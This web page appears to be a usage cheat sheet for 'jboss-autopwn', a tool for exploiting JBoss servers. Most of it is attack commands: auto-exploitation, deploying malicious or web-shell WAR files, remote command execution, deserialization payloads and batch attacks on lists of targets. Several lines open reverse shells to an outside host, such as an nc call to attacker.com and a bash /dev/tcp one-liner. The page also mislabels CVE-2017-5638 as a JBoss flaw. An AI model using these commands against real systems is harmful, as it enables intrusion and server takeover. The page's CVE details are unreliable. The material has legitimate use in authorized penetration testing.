Aller au contenu

jboss-autopwn

jboss-autopwn is a JBoss Application Server exploitation tool designed for security professionals to automate the discovery and exploitation of known JBoss vulnerabilities. It facilitates rapid vulnerability assessment and verification of JBoss AS security posture during authorized penetration tests.

The tool supports multiple JBoss versions and provides automated exploitation capabilities for common misconfigurations and known CVEs affecting JBoss AS deployments.

  • Python 2.7+ or Python 3.x
  • Git
  • JBoss AS instance (for testing)
  • Proper authorization and scope approval
# Clone the repository
git clone https://github.com/SecurityBegins/jboss-autopwn.git
cd jboss-autopwn

# Install dependencies
pip install -r requirements.txt

# Make executable
chmod +x jboss-autopwn.py

# Verify installation
python jboss-autopwn.py --help
# Build Docker image
docker build -t jboss-autopwn .

# Run in container
docker run -it jboss-autopwn python jboss-autopwn.py --help
python jboss-autopwn.py [OPTIONS] -t <target>
OptionDescription
-t, --targetTarget JBoss URL (http://host:port)
-p, --portPort number (default: 8080)
-u, --usernameJBoss admin username
-P, --passwordJBoss admin password
--exploitSpecific exploit to run
-f, --filePayload file for upload
-v, --verboseVerbose output
-h, --helpDisplay help message
# Basic target scanning
python jboss-autopwn.py -t http://192.168.1.100:8080

# Scan with custom port
python jboss-autopwn.py -t 192.168.1.100 -p 8090

# Verbose output for debugging
python jboss-autopwn.py -t http://target.com:8080 -v

# Scan entire subnet
python jboss-autopwn.py -t http://192.168.1.0/24 -p 8080
# Detect JBoss version
python jboss-autopwn.py -t http://target.com:8080 --version

# Check for specific vulnerability
python jboss-autopwn.py -t http://target.com:8080 --check-cve CVE-2017-12149

# List detected vulnerabilities
python jboss-autopwn.py -t http://target.com:8080 --list-vulns
# Auto-exploit detected vulnerabilities
python jboss-autopwn.py -t http://target.com:8080 --auto-exploit

# Exploit with reverse shell
python jboss-autopwn.py -t http://target.com:8080 --exploit shell \
  --lhost 192.168.1.50 --lport 4444

# Upload malicious WAR file
python jboss-autopwn.py -t http://target.com:8080 \
  -f malicious.war --deploy

# Execute system command
python jboss-autopwn.py -t http://target.com:8080 \
  --cmd "whoami" --execute
# Connect with credentials
python jboss-autopwn.py -t http://target.com:8080 \
  -u admin -P password123 --exploit

# Use provided credentials for JMX
python jboss-autopwn.py -t http://target.com:8080 \
  --jmx-user admin --jmx-pass password123 \
  --jmx-exploit
# Generate web shell WAR
python jboss-autopwn.py -t http://target.com:8080 \
  --generate-war shell.war

# Deploy WAR directly
python jboss-autopwn.py -t http://target.com:8080 \
  -f shell.war --direct-deploy

# Access deployed application
curl http://target.com:8080/shell/
# Exploit JMX service
python jboss-autopwn.py -t http://target.com:8080 \
  --jmx-service --jmx-port 4447

# Create malicious MBean
python jboss-autopwn.py -t http://target.com:8080 \
  --create-mbean --bean-class PayloadClass
# Invoke EJB methods
python jboss-autopwn.py -t http://target.com:8080 \
  --invoke-ejb -b TargetEJB

# Remote method execution via EJB
python jboss-autopwn.py -t http://target.com:8080 \
  --ejb-rce --method-name execute
# Create custom Java deserialization payload
python jboss-autopwn.py --generate-payload \
  --payload-type java-deser \
  --command "nc attacker.com 4444 -e /bin/bash"

# Generate ysoserial payload
python jboss-autopwn.py --payload-generator ysoserial \
  --gadget CommonsCollections5 \
  --command "touch /tmp/pwned"
# Save configuration for repeated use
cat > jboss-config.txt << EOF
target=http://192.168.1.100:8080
port=8080
username=admin
password=admin123
timeout=30
retries=3
EOF

# Use configuration file
python jboss-autopwn.py -c jboss-config.txt
# Create targets file
cat > targets.txt << EOF
http://192.168.1.100:8080
http://192.168.1.101:8080
http://target.example.com:8080
EOF

# Scan multiple targets
python jboss-autopwn.py -f targets.txt --batch-mode

# Batch exploitation
python jboss-autopwn.py -f targets.txt --exploit --log-results
# Check CVE-2017-12149 (Deserialization RCE)
python jboss-autopwn.py -t http://target.com:8080 \
  --check-cve CVE-2017-12149

# Check CVE-2017-5638 (EJBInvokerServlet)
python jboss-autopwn.py -t http://target.com:8080 \
  --check-cve CVE-2017-5638

# Comprehensive vulnerability scan
python jboss-autopwn.py -t http://target.com:8080 \
  --full-scan --report vulnerability-report.html
# HTML report generation
python jboss-autopwn.py -t http://target.com:8080 \
  --full-scan --html-report report.html

# JSON output for automation
python jboss-autopwn.py -t http://target.com:8080 \
  --output-json results.json

# CSV export for analysis
python jboss-autopwn.py -t http://target.com:8080 \
  --output-csv results.csv
# Enable detailed logging
python jboss-autopwn.py -t http://target.com:8080 \
  -v --log-file audit.log

# Real-time output
python jboss-autopwn.py -t http://target.com:8080 \
  --real-time-output

# Save session transcript
python jboss-autopwn.py -t http://target.com:8080 \
  --transcript session.txt
# Reverse shell with Netcat listener
# Attacker machine:
nc -lvnp 4444

# jboss-autopwn command:
python jboss-autopwn.py -t http://target.com:8080 \
  --reverse-shell --lhost 192.168.1.50 --lport 4444

# Bash reverse shell
python jboss-autopwn.py -t http://target.com:8080 \
  --cmd "bash -i >& /dev/tcp/192.168.1.50/4444 0>&1"
# Start interactive shell mode
python jboss-autopwn.py -t http://target.com:8080 \
  --interactive-shell

# Execute commands interactively
jboss> whoami
jboss> id
jboss> ls -la /opt/jboss
  • Verify scope and obtain written authorization
  • Document target system details and baseline
  • Test tools on isolated lab environments first
  • Prepare incident response procedures
  • Establish clear communication channels
  • Maintain detailed activity logs
  • Create backup snapshots before testing
# Dry-run mode (show what would happen without executing)
python jboss-autopwn.py -t http://target.com:8080 \
  --dry-run --verbose

# Test on development instance first
python jboss-autopwn.py -t http://dev-jboss.internal:8080 \
  --safe-mode

# Validate payload before deployment
python jboss-autopwn.py --validate-payload test.war
# Test connectivity
python jboss-autopwn.py -t http://target.com:8080 \
  --test-connection --verbose

# Check proxy settings
python jboss-autopwn.py -t http://target.com:8080 \
  --proxy http://proxy.internal:8080 \
  --proxy-user username --proxy-pass password

# SSL/TLS verification
python jboss-autopwn.py -t https://target.com:8443 \
  --ignore-ssl-warnings
ErrorSolution
Connection timeoutVerify target is online, check firewall rules, adjust timeout
Authentication failedVerify credentials, check account lockout status
Version detection failedTry manual version specification with --version
Payload upload failedCheck file permissions, verify WAR format, check disk space
RCE not workingTry different gadget chains, verify Java version compatibility
# Maximum verbosity
python jboss-autopwn.py -t http://target.com:8080 \
  -vvv --debug --log-level DEBUG

# Packet capture
python jboss-autopwn.py -t http://target.com:8080 \
  --tcpdump --pcap-file traffic.pcap

# Python traceback on error
python jboss-autopwn.py -t http://target.com:8080 \
  --verbose --traceback
  • Only use jboss-autopwn on systems you own or have explicit written authorization to test
  • Obtain proper approval from system owners and stakeholders before testing
  • Follow responsible disclosure procedures for discovered vulnerabilities
  • Maintain confidentiality of security assessment results
  • Document all activities for compliance and audit purposes
  • Use only for authorized penetration testing and vulnerability assessment
  • Comply with all applicable laws and regulations in your jurisdiction
  • Metasploit Framework JBoss modules
  • Custom exploitation development techniques
  • Java deserialization exploitation
  • WAR file structure and deployment